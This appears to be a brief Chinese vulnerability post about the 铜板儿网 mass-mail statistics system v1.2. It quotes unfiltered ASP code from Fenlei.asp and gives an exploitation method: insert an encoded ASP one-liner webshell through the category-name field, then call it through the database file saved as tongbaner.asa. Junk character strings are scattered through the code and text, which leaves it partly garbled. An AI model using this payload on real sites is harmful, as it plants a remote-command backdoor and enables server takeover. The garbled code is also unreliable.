铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp

  p% [! E6 A1 ~9 f. d5 V. sIF Request.QueryString("Action")="del" Then
ID=Request.QueryString("ID")
IF Countss ("tui","Fenlei",ID )<>0 then
'略
IF Request.QueryString("Action")="Add" Then
Tname=Request.Form("Typename")
! n6 }! y+ M& ?4 |Set Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
, \/ z+ m/ M4 |8 q6 k$ mRs.Open Sql,Conn,1,3
Rs.Addnew
Rs("Typename")=Tname
+ y5 s# w8 ^) b! b'略
Set Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,1
% T0 e0 S/ l& l4 l- E'略
%>
: {& D( [4 g% B+ G
  }0 D% b0 k1 ^6 v  @) E9 |

* g* x/ D; r! s- L  L/ l. E2 X( |没有过滤，直接写入数据库。

利用方法：
8 r; ?4 l6 `: N5 Z: A
插入：┼攠數畣整爠煥敵瑳∨≡┩>
( }7 N0 X7 O, N* G- i
+ }4 g; j5 x( m
% D7 @: h$ y5 y, r, _) p连接： http://www.xxx.com/###tongbaner.asa
'默认安装文件：
'install.asp